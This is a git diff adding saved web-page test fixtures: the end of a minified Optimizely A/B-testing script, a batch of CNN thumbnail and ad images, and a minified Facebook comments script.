+function mc(a){a=a.replace(Gb,Eb);if(za(a))if(u("Evaluator","Redirect detected"),jb(a))u("Evaluator","OK to redirect"),ib(a)||(u("Evaluator","NOT setting a redirect cookie"),y("optimizelyRedirect",window.location.href,5)),y("optimizelyReferrer",document.referrer,5);else{u("Evaluator","NOT OK to redirect");return}eval("var $j = $;");try{eval(a)}catch(b){var c=Q;Q=i;u("Evaluator","Error: "+b.message);u("Evaluator","Code: "+a);Q=c;u("Evaluator","Failed to run code: "+b.message)}}
+function lc(a,b){if(!nc[a]||!nc[a][b]){var c="mousedown",d=Za();if("iphone"===d||"ipad"===d||"ipod"===d)c="touchstart";$(a).bind(c,function(){F.e.call(F,b,"custom")});nc[a]||(nc[a]={});nc[a][b]=c}}function ac(a){a||(a=Qa());for(var b=0;b<a.length;b++){var c=a[b],d=N[c];d?(vb("Not activating "+z(c)+" because "+d+".",{type:"explanation"}),delete N[c]):vb("Activating "+z(c)+".",{type:"activation",experimentId:c})}}var nc={},va=[],C=C||[],oc=0,kc=k,gc=[],ic=j,jc=0;
+$(function(){kc=i;ic!==j&&(u("Evaluator","Document is ready"),clearTimeout(ic),0<oc?setTimeout(hc,oc):hc())});function Ab(){return B("admin_account_id")}function cc(){if(!pc){var a=B("click_goals")||[];pc=[];for(var b=0,c=a.length;b<c;b++)for(var d=a[b],e=d.selector.split(","),f=0,g=e.length;f<g;f++){var l=e[f];l&&(l={event_name:d.event_name,selector:l},d.experiments!==h?l.experiments=d.experiments:d.url_conditions!==h&&(l.url_conditions=d.url_conditions),pc.push(l))}}return pc}function [...]
+function Qa(){return Ua(B("experiments")||{})}function Ra(a){return r(a,"manual")||k}function z(a){return'experiment "'+(r(a,"name")||"")+'" ('+a+")"}function I(a){return r(a,"section_ids")||[]}function Fa(a){return r(a,"variation_ids")||[]}function xb(){var a=[yb("log_host")];B("use_staging_log")&&a.push(yb("staging_log_host"));return a}function zb(){return B("project_id")}function Sa(){return Ua(B("segments")||{})}
+function qc(a){var b={},c=B("public_suffixes")||{};o(c,function(a,c){o(c,function(c){b[c]=a})});qc=function(a){return b[a]||""};return qc.call(j,a)}function Ga(a){return B("sections",a,"variation_ids")||[]}function Aa(a){var b=[];o(a.split("_"),function(a){(a=B("variations",a,"code"))&&b.push(a)});return b.join("\n")}
+function p(a){var b={};o(Qa(),function(a){o(I(a),function(d){o(Ga(d),function(d){b[d]=a})});o(Fa(a),function(d){b[d]=a})});p=function(a){return b[a.split("_")[0]]||""};return p.call(j,a)}function ra(a){var b=p(a),c=I(b);if(0===c.length){c=Fa(b);for(b=0;b<c.length;b++)if(c[b]===a)return b}else{for(var a=a.split("_"),b=[],d=0;d<c.length;d++)for(var e=Ga(c[d]),f=0;f<e.length;f++)e[f]===a[d]&&b.push(f);if(b!==[])return b}return-1}function ya(a){var b;return pa(a).join(b||", ")}
+function pa(a){var b=[];o(a.split("_"),function(a){b.push(B("variations",a,"name")||"Unnamed")});return b}function xa(a){return!!r(a,"enabled")}function r(a,b){return B("experiments",a,b)}function ua(a){return r(a,"google_analytics")}function B(a){var b=DATA;if(o(arguments,function(a){a=b[a];if(A(a))b=a;else return j})!==j)return b}function Ta(a,b){return B("segments",a,b)}
+function yb(a){var a=B(a),b=document.location.protocol;"chrome-extension:"===b&&(b="http:");return b+"//"+a+".optimizely.com"}var pc=j;function rc(a,b){var c=b.manualMode===i,d=b.objectType?b.objectType:"experiment",e="experiment"===d,f=b.defaultFail===i;u("Condition","Testing "+d+" "+a);var g=e&&xa(a),l=e&&Ra(a),t;a:switch(d){case "experiment":t=r(a,"conditions")||[];break a;case "segment":t=Ta(a,"add_condition")||[];break a;default:t=[]}if(e&&!g&&ob!==a)return u("Condition","Failed for [...]
+k;var n="experiment"===(d||"experiment"),w=i;f&&(w=k);o(t,function(b){var c=b.type;if(n&&b.only_first_time&&sc(a))u("Condition",c+" condition passed because it only gets checked when bucketing",i);else{var d=!b.not,e=(0,tc[c])(b),b=e!==d,c="the visitor "+(e?"passed":"failed")+" a "+c+" targeting condition when it needed to "+(d?"pass":"fail");u("Condition","Found that "+c,!b);if(b)return w=k,N[a]=c,k}});return!w?(u("Condition","Failed for "+d+" "+a+" (condition failed)"),k):i}
+function dc(a){for(var b=window.location.href,c=0;c<a.values.length;c++){var d=a.values[c],e=d.value,d=d.match,f=aa(b,e,d);u("Condition","Testing URL "+b+" against "+e+" ("+d+")",i);if(f)return i}return k}
+var tc={browser:function(a){var b=Va(),c=Db(),d=k,e=Za();o(a.values,function(a){"unknown"!==e?(d="mobile"===a||a===e,u("Condition",e,i)):0===a.indexOf(b)&&(a=a.substr(b.length),d=""===a||a<=c&&c<Number(a)+1);if(d)return j});return d},code:function(a){a=a.value;if(a===h)return i;try{return Boolean(eval(a))}catch(b){return k}},cookies:function(a){for(var b=k,c=a.names||[],a=a.values||[],d=0;d<c.length;d++){var e=v(c[d]);if(b=A(a[d])&&""!==uc(a[d])?b||a[d]===e:b||e!==j&&e!==h)return i}retur [...]
+v("optimizelyCustomEvents")||"{}";try{b=tb(b)}catch(c){b={}}var d=b[Cb()]||[];R(d)||(d=[]);var e=k;o(a.values,function(a){if(-1!==$.inArray(a,d))return e=i});return e},language:function(a){var b=Vb(),c=k;o(a.values,function(a){if(c="any"===a||0===b.indexOf(a))return j});return c},location:function(a){for(var b=Wa(),c=0;c<a.values.length;c++){var d=a.values[c].split("|"),e=$.trim(d[0]),f=$.trim(d[1]),g=$.trim(d[2]),l=$.trim(d[3]);switch(d.length){case 1:if(b.country===e)return i;break;cas [...]
+f&&b.country===e)return i;break;case 3:if(b.city===g&&(b.region===f||""===f)&&b.country===e)return i;break;case 4:if(b.continent===l)return i}}return k},query:function(a){if(0===a.values.length)return i;var b=k,c=Xa();o(a.values,function(a){for(var e=a.key,a=a.value||"",f=0;f<c.length;f++){var g=c[f],l=g[0],g=g[1];if(""!==e&&e===l&&(""===a||a===g))return b=i}});return b},referrer:function(a){for(var b=document.referrer,c=0;c<a.values.length;c++){var d=a.values[c],e=d.value,d=d.match,f=aa [...]
+"Testing referrer "+b+" against "+e+" ("+d+")",i);if(f)return i}return k},segment:function(a){var b=k,c=[];o(vc,function(a,b){b&&c.push(a)});o(a.values,function(a){D(c,a)&&(b=i)});return b},url:dc,visitor:function(a){var b=Zb?"returning":"new";switch(a.value){case "new":if("returning"===b)return k;break;case "returning":return"returning"===b}return i}};function wc(){var a={};o(vc,function(b,c){c&&(a[b]=c)});y("optimizelySegments",sb(a),31536E4)}function xc(a,b){!b&&""!==b&&(b=i);vc[a]=b [...]
+function Ac(){switch(Ta(U,"segment_value_type")||""){case "browser":return V(Va()||"unknown");case "campaign":return V(gb("utm_campaign")||"none");case "country":return V(Wa().country||"unknown");case "language":return V(Vb()||"unknown");case "mobile":return V("unknown"!==Za());case "os":return V($a()||"unknown");case "referrer":var a;a=Xb();a=Wb(a);return V(a||"none");case "source_type":return V(Yb())}return j}function Ya(){var a={};o(vc,function(b,c){c&&(a[String(b)]=c)});return a}
+function Bc(a){vc[a]=k;yc()}function V(a){var b;b=b||Cc;return String(a).toLowerCase().substring(0,b)}var zc=[],vc={},Cc=20;function u(a,b,c){Dc.push({C:new Date,B:a,message:b,n:c||k});Ec&&Fc()}function Fc(){Q&&(o(Dc,function(a){if(!a.I&&(!a.n||a.n===qb)){var b=+a.C;m(a.B,a.message+(" [time "+(Gc?b-Gc:0)+" +"+(Hc?b-Hc:0)+"]"));Hc=b;Gc||(Gc=b);a.I=i}}),Ec=i)}var Hc=j,Gc=j,Dc=[],Ec=k;function D(a,b){for(var c=0;c<a.length;c++)if(b==a[c])return i;return k}function fb(a){var b=a.length;if(0= [...]
+function o(a,b){var c=j;if(R(a))for(var d=a.length,e=0;e<d&&!(c=b.call(h,a[e],e),A(c));++e);else for(d in a)if(Object.prototype.hasOwnProperty.call(a,d)&&(c=b.call(h,d,a[d]),A(c)))break;return c}function ab(a,b){o(b,function(b,d){a[b]=d})}function bc(a,b){for(var c=[],d=0,e=a.length;d<e;d++){var f=a[d];b(f)&&c.push(f)}return c}function Jc(a,b){return o(b,function(b){if(b===a)return i})||k}function R(a){return a&&"object"===typeof a&&a.length&&"number"===typeof a.length}
+function A(a){return"undefined"!==typeof a}function ub(a){return("number"===typeof a||"string"===typeof a)&&Number(a)==a}function Ua(a){Ua=Object.T||function(a){var c=[];o(a,function(a){c.push(a)});return c};return Ua.call(j,a)}function Jb(a){var b=document.head||document.getElementsByTagName("head")[0]||document.documentElement,c=document.createElement("script");c.src=a;c.type="text/javascript";b.appendChild(c)}
+function m(a,b,c){var d=window.console;if(Q&&d&&d.log){var e=Ic(arguments,1);e[0]="Optimizely / "+a+" / "+b;Function.prototype.apply.call(d.log,d,e)}}function Ic(a,b){return Array.prototype.slice.call(a,b||0,a.length)}function uc(a){return a.replace(/^[\s\xa0]+|[\s\xa0]+$/g,"")};function Mc(a){return function(b){if("object"===typeof b&&Nc()){var c=j,d;for(d in b)b.hasOwnProperty(d)&&(c=a.call(this,d,b[d]));return c}return a.apply(this,arguments)}}function Nc(){for(var a in{})return i;ret [...]
+function La(){var a={};o(Rc,function(b,c){a[b]=c});o(H,function(b){var c=p(b.id);a[c]=b.id});o(G,function(b){a[b]="0"});y("optimizelyBuckets",sb(a),31536E4)}function Ea(){o(Sc,function(a){a()})}
+function ec(a,b,c){if(-1!==a.indexOf("_optimizely_redirect"))b.push({code:a,type:"code forced (redirect)"});else{for(var a=a.split("\n"),d=k,e=k,f=[],g=[];0<a.length;){var l=uc(a.shift()),t=0<g.length;if(l)if(Boolean(l.match(/_optimizely_evaluate\s{0,9}=\s{0,9}force/i)))e=i;else if(Boolean(l.match(/_optimizely_evaluate\s{0,9}=\s{0,9}safe/i))||Boolean(l.match(/_optimizely_evaluate\s{0,9}=\s{0,9}end_force/i)))e=k;else if(Boolean(l.match(/_optimizely_evaluate\s{0,9}=\s{0,9}editor_only/i)))d [...]
+k;else if(!d)if(e)f.push(l);else{if(!t){var n=Tc.exec(l),w=[];n?(w.push(n[1]),(n=Uc.exec(l))&&4<n.length&&w.push(n[4]),c.push({code:l,f:w,type:"safe jquery",j:i})):t=i}t&&g.push(l)}}0<f.length&&b.push({code:f.join("\n"),type:"forced evaluation"});0<g.length&&c.push({code:g.join("\n"),type:"safe non-jquery",S:i})}}function fc(a,b,c){for(var d={values:[]},e=0,f=a.length;e<f;e++)d.values.push({value:a[e],match:b[e]||c});return d}
+var Sc=[],Rc={},G={},Tc=/^\$j?\(['"](.+?)['"]\)\..+;\s*$/,Uc=/^\$j?\(['"](.+?)['"]\)\.detach\(\)\.(appendTo|insertAfter|insertBefore|prependTo)\(['"](.+?)['"]\);\s*$/,Da={},H=[];if(!Mb){var X=$;X.fn.attr=Mc(X.fn.attr);X.fn.css=Mc(X.fn.css);X.fn.extend=Mc(X.fn.extend);var Vc=X.each;X.each=function(a,b,c){if(!(a.length===h||X.isFunction(a))||!Nc())Vc.apply(this,arguments);else if(c)for(var d in a){if(a.hasOwnProperty(d)&&b.apply(a[d],c)===k)break}else for(d in a)if(a.hasOwnProperty(d)&&!b. [...]
+ad=(window.optly||{}).getElementsByClassName,Zc=hb($c)?$c:hb(ad)?ad:j;Yc=Zc;X.fn.G=function(a,b,c){var d=Xc,e=document.getElementsByClassName;!hb(e)&&Yc&&(d=function(a,b,c){document.getElementsByClassName=Yc;a=Xc(a,b,c);document.getElementsByClassName=e;return a});if(!("string"===typeof a&&b&&"object"===X.type(b)&&Nc()))return d(a,b,c);a=d(a,h,c);a.attr(b);return a}}u("Main","Started, revision "+B("revision"));
+for(var bd=window.location.search,cd,dd=/optimizely_([^=]+)=([^&]*)/g,Y={};cd=dd.exec(bd);)Y[cd[1]]=decodeURIComponent(cd[2]);var ed=/x(\d+)/,fd=k;o(Y,function(a,b){var c=ed.exec(a);if(c&&(fd=i,ob=c=c[1],"-1"!==b)){var d,e=b.split("_");d=I(c);var f=[];if(d.length===e.length)o(d,function(a,b){var c=e[b];if(c=Ga(a)[c])f.push(c);else return f=[],j});else if(1===e.length){d=Fa(c);var g=e[0],l=d[g];!l&&D(d,g)&&(l=g);l&&f.push(l)}d=f.join("_");g=!Ra(c);Ka(d,"query",g);Lb.push(c)}});
+("true"===Y.opt_out||"false"===Y.opt_out)&&F.p("true"===Y.opt_out);var E="true"!==Y.disable&&"true"!==Y.opt_out&&"true"!==v("optimizelyOptOut"),O=Y.load_script,pb="true"===Y.preview,Q="true"===Y.log,qb="true"===Y.verbose,gd="true"===Y.force_tracking,fd=fd||pb,ha=!fd||gd;"false"===Y.client&&(E=k,O="js/"+zb()+".js");O&&(Oc()||(O=""));var hd=document.location.hostname,Z=hd.split("."),id=hd,jd=Z[Z.length-1];
+2<Z.length&&"appspot"===Z[Z.length-2]&&"com"===jd?id=Z[Z.length-3]+".appspot.com":1<Z.length&&Jc(jd,Nb)&&(id=Z[Z.length-2]+"."+jd);Pb=id;m("Cookie","Guessed public suffix: %s",Pb);S=qc(hd);m("Cookie","Public suffix (from data): %s",S);S||(S=v("optimizelyPublicSuffix")||"",m("Cookie","Public suffix (from cookie): %s",S));!S&&B("remote_public_suffix")&&(m("Cookie","Making request for public suffix on DOM ready"),$(wb(Ub,hd)));var kd=v("optimizelyBuckets"),Zb=kd!==h&&kd!==j,ld;
+a:{for(var nd=["googlebot","yahoo! slurp","bingbot","msnbot"],od=navigator.userAgent.toLowerCase(),pd=0;pd<nd.length;pd++)if(-1!==od.indexOf(nd[pd])){ld=i;break a}ld=k}ld&&(ha=k);var qd=v("optimizelyBuckets");
+if(qd){try{qd=tb(qd)}catch(rd){qd={}}var sd={};o(qd,function(a,b){var b=String(b),c=p(b);if(I(c).length>1&&b.indexOf("_")===-1){sd[c]=sd[c]||{};sd[c][a]=b}else b!=="0"?Ka(b,"cookie",k)||(Rc[a]=b):eb(a)});o(sd,function(a,b){var c;a:{c=[];for(var d=I(a),e=0;e<d.length;e++){var f=b[d[e]];if(f==="0"){c="";break a}c.push(f)}c=c.join("_")}c.length>0?Ka(c,"cookie",k):eb(a)})}zc.push(Na);Sc.push(Na);
+var td={$:$,activeExperiments:va||[],allExperiments:bb(),all_experiments:bb(),allVariations:B("variations")||{},data:M,getElementsByClassName:document.getElementsByClassName,revision:B("revision"),variationIdsMap:Oa,variation_map:K,variationMap:K,variationNamesMap:Pa},ud={},vd=wb(function(a,b){var c=[],d=b;if(R(b)){c=Ic(b,1);d=b[0]}var e=a[d];if(e){u("API",'Called function "'+d+'"');d!=="acknowledgePreviewMode"&&vb(d,{type:"api"});e.apply(j,c)}else u("API",'Error for unknown function "'+ [...]
+ud);
+ab(ud,{acknowledgePreviewMode:function(){u("Preview","Preview acknowledgement received");Kb=i},activate:function(a,b,c){if(!E)return k;var d=typeof b==="number"||typeof b==="string"?String(b):j,e=b===i||b&&b.force===i||c&&c.force===i,f=typeof b==="object"&&b.skip===i||typeof c==="object"&&c.skip===i,b=typeof b==="object"&&b.skipPageview===i||typeof c==="object"&&c.skipPageview===i;if(d)try{Ba(a,d,i)}catch(g){u("API","Error while activating experiment "+a+" for variation "+d+" -- proceedi [...]
+t=[],n=[];ub(a)?t.push(a):o(Qa(),function(a){Ra(a)&&t.push(a)});o(t,function(a){if(e||rc(a,{manualMode:i,objectType:"experiment"}))(l=db(a,f))&&n.push(a)});$b(n,t);La();qa();E&&!b&&F.e(document.location.href)},activateGeoDelayedExperiments:function(){if(!E)return k;var a=j,b=cb,c=[];o(b,function(b){if(rc(b,{manualMode:k,objectType:"experiment"}))(a=db(b))&&c.push(b)});$b(c,b);La();qa();E&&!rb&&F.e(document.location.href);cb=[];window.optimizelyGeo={}},activateSiteCatalyst:ga,addToSegment [...]
+bucketVisitor:Ba,clickTaleRecord:function(){m("Integrator","Tracking with ClickTale.");typeof window.ClickTaleField=="function"?o(la(),function(a){var b=p(a),c=q(b,a,100,100,15,k),c=c.key+": "+c.value+" (x"+b+"="+a+")";m("Integrator","Setting ClickTale - %s",c);window.ClickTaleField(b,a);window.ClickTaleEvent(c)}):m("Integrator","ClickTaleField() not defined.")},clickTalePlayback:function(){if(window.ClickTaleContext)if(window.ClickTaleContext.getAggregationContextAsync)try{window.ClickT [...]
+function(a){for(var b in a.PageEvents){var e=a.PageEvents[b][2].match(/x[0-9]+=[0-9_]+/g);m("Integrator","Playback ClickTale Integration - %s",e);for(b=0;b<e.length;b++){m("Integrator","Playback ClickTale Integration - %s",e[b]);for(var f=e[b].split("=")[0].substr(1),g=e[b].split("=")[1].split("_"),l=0;l<g.length;l++)window.optimizely.push(["activate",f,g[l],{force:i}])}}})}catch(a){m("Integrator","Playback ClickTale Aggregation Integration failed.")}else try{window.ClickTaleContext.getR [...]
+function(a){m("Integrator","Playback ClickTale getRecordingContextAsync callback");for(var b in a.fields){m("Integrator","Playback ClickTale Integration - %s=%s",b,a.fields[b]);window.optimizely.push(["activate",b,a.fields[b],{force:i}])}})}catch(b){m("Integrator","Playback ClickTale Recording Integration failed.")}else m("Integrator","ClickTaleContext not defined.")},delayDomReadyEval:function(a){oc=a},delayPageviewTracking:function(a){if(!ub(a))return k;nb=Number(a)},disable:Ma,log:fun [...]
+i},getAccountId:Ab,getProjectId:zb,integrationPrefix:function(a){oa=a},optOut:F.p,preview:function(){Kb||Ib()},push:vd,removeFromAllSegments:function(){var a=Sa();o(a,function(a){Bc(a)})},removeFromSegment:Bc,sc_activate:ga,sc_svar:function(a){ia=a},skipPageTracking:function(){rb=i},timeout:Ma,trackEvent:F.v,verbose:function(){qb=Q=i}});ab(td,ud);var wd=window.optimizely;R(wd)&&o(wd,function(a){vd(a)});window.optimizely=td;u("Info","Is enabled: "+E);u("Info","Script to load: "+(O||"none"));
+u("Info","Browser type: "+Va());u("Info","Browser version: "+Db());var xd=Za();"unknown"!==xd&&u("Info","Mobile browser type: "+xd);u("Info","New vs returning: "+(Zb?"returning":"new"));u("Info","Source type: "+Yb());u("Info","User ID: "+Cb());O&&Jb(O);
+if(E){u("Segmenter","Loading segments cookie.");var yd=v("optimizelySegments");if(yd){try{yd=tb(yd)}catch(zd){yd={}}o(yd,function(a,b){u("Segmenter","Segments cookie contains segment id: "+a);vc[a]=b})}u("Segmenter","Evaluating all segments.");for(var Ad=Sa(),Bd=0;Bd<Ad.length;Bd++){var U=Ad[Bd];u("Segmenter","Evaluating segment "+U);if(Ta(U,"is_api_only"))u("Segmenter","Not doing anything since segment "+U+" is api only.");else{u("Segmenter","Testing whether to add to segment "+U);var C [...]
+Dd=U,Ed=N[Dd];Ed?(vb("Not adding visitor to segment "+(Ta(Dd,"name")||"")+" because "+Ed+".",{type:"explanation"}),delete N[Dd]):vb("Segment add condition matches, addingto segment "+(Ta(Dd,"name")||""),{type:"explanation"});if(Cd){var Fd=Ac();Fd===j&&(Fd=i);xc(U,Fd)}}}zc.push(wc);yc();o(Qa(),function(a){if(!Jc(a,C)){var b=k;if(r(a,"uses_geotargeting"))try{var c=window.optimizely.data.visitor.location;if(Ua(c)>0&&(c.continent!==""||c.country!==""||c.region!==""||c.city!==""))b=i}catch(d) [...]
+i;if(b){if(rc(a,{objectType:"experiment"})){u("Distributor","Going to distribute "+z(a));b=db(a);c=k;if(Lb.length>0&&!D(Lb,a)){u("Distributor","Not going to evaluate because of preview mode, for "+z(a));c=i;N[a]="it is not being previewed"}if(b&&!c){C=C||[];C.push(a)}}}else cb.push(a)}});La();F.D();rb||(0<nb?setTimeout(function(){F.e(document.location.href,"pageview")},nb):F.e(document.location.href,"pageview"));F.q();qa()}
+Q&&(o(G,function(a){var b=r(a,"name")||"";u("Plan","Ignore experiment '"+b+"' ("+a+")")}),o(H,function(a){var b=p(a.id),c=ya(a.id);u("Plan",z(b)+' in variation "'+c+'" ('+a.id+")")}));E&&($b(),u("API","Finalizing API."),Na(),Fc());pb&&Ib();setTimeout(function(){window.optimizelyCode={}},0);setTimeout(function(){try{window.optimizely.activateGeoDelayedExperiments=h}catch(a){}},2E3);u("Main","End of main");
+optly.Cleanse.finish();
+};
+optimizelyCode();
diff --git a/src/test/resources/s/cf/130111142539-mali-rebels-video-tease.jpg b/src/test/resources/s/cf/130111142539-mali-rebels-video-tease.jpg
new file mode 100644
index 0000000..8ec32ac
Binary files /dev/null and b/src/test/resources/s/cf/130111142539-mali-rebels-video-tease.jpg differ
diff --git a/src/test/resources/s/cf/130121090431-lance-armstrong-tour-de-france-left-tease.jpg b/src/test/resources/s/cf/130121090431-lance-armstrong-tour-de-france-left-tease.jpg
new file mode 100644
index 0000000..3942a3b
Binary files /dev/null and b/src/test/resources/s/cf/130121090431-lance-armstrong-tour-de-france-left-tease.jpg differ
diff --git a/src/test/resources/s/cf/130121194827-harry-2-left-tease.jpg b/src/test/resources/s/cf/130121194827-harry-2-left-tease.jpg
new file mode 100644
index 0000000..b443350
Binary files /dev/null and b/src/test/resources/s/cf/130121194827-harry-2-left-tease.jpg differ
diff --git a/src/test/resources/s/cf/130122022600-pkg-defterios-davos-reflections-00001605-left-tease.jpg b/src/test/resources/s/cf/130122022600-pkg-defterios-davos-reflections-00001605-left-tease.jpg
new file mode 100644
index 0000000..349d776
Binary files /dev/null and b/src/test/resources/s/cf/130122022600-pkg-defterios-davos-reflections-00001605-left-tease.jpg differ
diff --git a/src/test/resources/s/cf/130122025846-unemployment-spain-left-tease.jpg b/src/test/resources/s/cf/130122025846-unemployment-spain-left-tease.jpg
new file mode 100644
index 0000000..eff0b4d
Binary files /dev/null and b/src/test/resources/s/cf/130122025846-unemployment-spain-left-tease.jpg differ
diff --git a/src/test/resources/s/cf/130122191230-dnt-endo-food-fake-worrries-00003220-video-tease.jpg b/src/test/resources/s/cf/130122191230-dnt-endo-food-fake-worrries-00003220-video-tease.jpg
new file mode 100644
index 0000000..428e8f8
Binary files /dev/null and b/src/test/resources/s/cf/130122191230-dnt-endo-food-fake-worrries-00003220-video-tease.jpg differ
diff --git a/src/test/resources/s/cf/130123214949-dnt-baby-with-heart-outside-leaves-hospital-00003615-video-tease.jpg b/src/test/resources/s/cf/130123214949-dnt-baby-with-heart-outside-leaves-hospital-00003615-video-tease.jpg
new file mode 100644
index 0000000..55ac518
Binary files /dev/null and b/src/test/resources/s/cf/130123214949-dnt-baby-with-heart-outside-leaves-hospital-00003615-video-tease.jpg differ
diff --git a/src/test/resources/s/cf/130123215410-cambodia-countryside-bin-tease.jpg b/src/test/resources/s/cf/130123215410-cambodia-countryside-bin-tease.jpg
new file mode 100644
index 0000000..72921e0
Binary files /dev/null and b/src/test/resources/s/cf/130123215410-cambodia-countryside-bin-tease.jpg differ
diff --git a/src/test/resources/s/cf/130123224300-pkg-wedeman-italy-colorful-colosseum-00000225-left-tease.jpg b/src/test/resources/s/cf/130123224300-pkg-wedeman-italy-colorful-colosseum-00000225-left-tease.jpg
new file mode 100644
index 0000000..7b7a90d
Binary files /dev/null and b/src/test/resources/s/cf/130123224300-pkg-wedeman-italy-colorful-colosseum-00000225-left-tease.jpg differ
diff --git a/src/test/resources/s/cf/130124015917-pkg-soares-davos-top-tech-00013829-left-tease.jpg b/src/test/resources/s/cf/130124015917-pkg-soares-davos-top-tech-00013829-left-tease.jpg
new file mode 100644
index 0000000..43e2df2
Binary files /dev/null and b/src/test/resources/s/cf/130124015917-pkg-soares-davos-top-tech-00013829-left-tease.jpg differ
diff --git a/src/test/resources/s/cf/130124063356-kim-jong-un-c1-main.jpg b/src/test/resources/s/cf/130124063356-kim-jong-un-c1-main.jpg
new file mode 100644
index 0000000..9d5ff15
Binary files /dev/null and b/src/test/resources/s/cf/130124063356-kim-jong-un-c1-main.jpg differ
diff --git a/src/test/resources/s/cf/130124065152-01-aus-0124-video-tease.jpg b/src/test/resources/s/cf/130124065152-01-aus-0124-video-tease.jpg
new file mode 100644
index 0000000..f70b1fa
Binary files /dev/null and b/src/test/resources/s/cf/130124065152-01-aus-0124-video-tease.jpg differ
diff --git a/src/test/resources/s/cf/130124113236-idesk-russia-baby-thrown-from-car-00002504-video-tease.jpg b/src/test/resources/s/cf/130124113236-idesk-russia-baby-thrown-from-car-00002504-video-tease.jpg
new file mode 100644
index 0000000..40c721a
Binary files /dev/null and b/src/test/resources/s/cf/130124113236-idesk-russia-baby-thrown-from-car-00002504-video-tease.jpg differ
diff --git a/src/test/resources/s/cf/130124120451-david-cameron-getty-uk-cnni-tvbox-left-tease.jpg b/src/test/resources/s/cf/130124120451-david-cameron-getty-uk-cnni-tvbox-left-tease.jpg
new file mode 100644
index 0000000..5406cd8
Binary files /dev/null and b/src/test/resources/s/cf/130124120451-david-cameron-getty-uk-cnni-tvbox-left-tease.jpg differ
diff --git a/src/test/resources/s/cf/130124135403-feinstein-guns-t1-main.jpg b/src/test/resources/s/cf/130124135403-feinstein-guns-t1-main.jpg
new file mode 100644
index 0000000..40509ca
Binary files /dev/null and b/src/test/resources/s/cf/130124135403-feinstein-guns-t1-main.jpg differ
diff --git a/src/test/resources/s/cf/130124141447-kimberly-brantic-video-tease.jpg b/src/test/resources/s/cf/130124141447-kimberly-brantic-video-tease.jpg
new file mode 100644
index 0000000..d8de0b5
Binary files /dev/null and b/src/test/resources/s/cf/130124141447-kimberly-brantic-video-tease.jpg differ
diff --git a/src/test/resources/s/cf/130124154655-syria-refugees-video-tease.jpg b/src/test/resources/s/cf/130124154655-syria-refugees-video-tease.jpg
new file mode 100644
index 0000000..55d2704
Binary files /dev/null and b/src/test/resources/s/cf/130124154655-syria-refugees-video-tease.jpg differ
diff --git a/src/test/resources/s/cf/130124173021-marketplace-europe-davos-boris-johnson-00032715-wall-4-tease.jpg b/src/test/resources/s/cf/130124173021-marketplace-europe-davos-boris-johnson-00032715-wall-4-tease.jpg
new file mode 100644
index 0000000..e48e5a3
Binary files /dev/null and b/src/test/resources/s/cf/130124173021-marketplace-europe-davos-boris-johnson-00032715-wall-4-tease.jpg differ
diff --git a/src/test/resources/s/cf/130124173044-pkg-mann-india-gandhi-dynasty-00003305-video-tease.jpg b/src/test/resources/s/cf/130124173044-pkg-mann-india-gandhi-dynasty-00003305-video-tease.jpg
new file mode 100644
index 0000000..7024984
Binary files /dev/null and b/src/test/resources/s/cf/130124173044-pkg-mann-india-gandhi-dynasty-00003305-video-tease.jpg differ
diff --git a/src/test/resources/s/cf/130124194238-unreasonable-at-sea-video-tease.jpg b/src/test/resources/s/cf/130124194238-unreasonable-at-sea-video-tease.jpg
new file mode 100644
index 0000000..e58798b
Binary files /dev/null and b/src/test/resources/s/cf/130124194238-unreasonable-at-sea-video-tease.jpg differ
diff --git a/src/test/resources/s/cf/130125092312-hong-kong-harbour-silohuette-video-tease.jpg b/src/test/resources/s/cf/130125092312-hong-kong-harbour-silohuette-video-tease.jpg
new file mode 100644
index 0000000..ee54817
Binary files /dev/null and b/src/test/resources/s/cf/130125092312-hong-kong-harbour-silohuette-video-tease.jpg differ
diff --git a/src/test/resources/s/cf/130125094508-hanoi-old-quarter-video-tease.jpg b/src/test/resources/s/cf/130125094508-hanoi-old-quarter-video-tease.jpg
new file mode 100644
index 0000000..d62ab21
Binary files /dev/null and b/src/test/resources/s/cf/130125094508-hanoi-old-quarter-video-tease.jpg differ
diff --git a/src/test/resources/s/cf/1px(1).gif b/src/test/resources/s/cf/1px(1).gif
new file mode 100644
index 0000000..e66849a
Binary files /dev/null and b/src/test/resources/s/cf/1px(1).gif differ
diff --git a/src/test/resources/s/cf/1px.gif b/src/test/resources/s/cf/1px.gif
new file mode 100644
index 0000000..e66849a
Binary files /dev/null and b/src/test/resources/s/cf/1px.gif differ
diff --git a/src/test/resources/s/cf/3512Nikon175x31_gray.gif b/src/test/resources/s/cf/3512Nikon175x31_gray.gif
new file mode 100644
index 0000000..21113e4
Binary files /dev/null and b/src/test/resources/s/cf/3512Nikon175x31_gray.gif differ
diff --git a/src/test/resources/s/cf/431711Dassault-banniere-Davos-2013-300x250.gif b/src/test/resources/s/cf/431711Dassault-banniere-Davos-2013-300x250.gif
new file mode 100644
index 0000000..8963d36
Binary files /dev/null and b/src/test/resources/s/cf/431711Dassault-banniere-Davos-2013-300x250.gif differ
diff --git a/src/test/resources/s/cf/534011cnn_com_hyperchrome_clay_120x90.jpg b/src/test/resources/s/cf/534011cnn_com_hyperchrome_clay_120x90.jpg
new file mode 100644
index 0000000..b041cbf
Binary files /dev/null and b/src/test/resources/s/cf/534011cnn_com_hyperchrome_clay_120x90.jpg differ
diff --git a/src/test/resources/s/cf/CKg2om0CN5k.js b/src/test/resources/s/cf/CKg2om0CN5k.js
new file mode 100644
index 0000000..e21497c
--- /dev/null
+++ b/src/test/resources/s/cf/CKg2om0CN5k.js
@@ -0,0 +1,14 @@
+/*1358840815,173220389*/
+
+if (self.CavalryLogger) { CavalryLogger.start_js(["Pvs7y"]); }
+
+__d("legacy:startsWith",["startsWith"],function(a,b,c,d){a.startsWith=b('startsWith');},3);
+if(!window.CommentAdminPanelController){window.CommentAdminPanelController=function(a){copyProperties(this,{locale:a.locale,channel:a.channel,controllerID:a.controllerID,commentIDs:a.commentIDs,domIDs:a.domIDs,duplicateComments:[],fetchMoreCommentsIsPending:{},blacklistedActors:a.blacklistedActors,actorToCommentInfoMap:a.actorToCommentIDMap,commentInfoMap:a.commentInfoMap,inAggregatedView:a.inAggregatedView,inModerationQueue:a.inModerationQueue,inContextualDialog:a.inContextualDialog,isT [...]
+WindowComm={_callbacks:{},makeHandler:function(a,b){b=b||'opener';var c='f'+(Math.random()*(1<<30)).toString(16).replace('.','');WindowComm._callbacks[c]=a;return new URI('/connect/window_comm.php').setQueryData({_id:c,_relation:b}).getQualifiedURI().toString();},_recv:function(a){var b=new URI(a).getQueryData();WindowComm._callbacks[b._id](b);}};
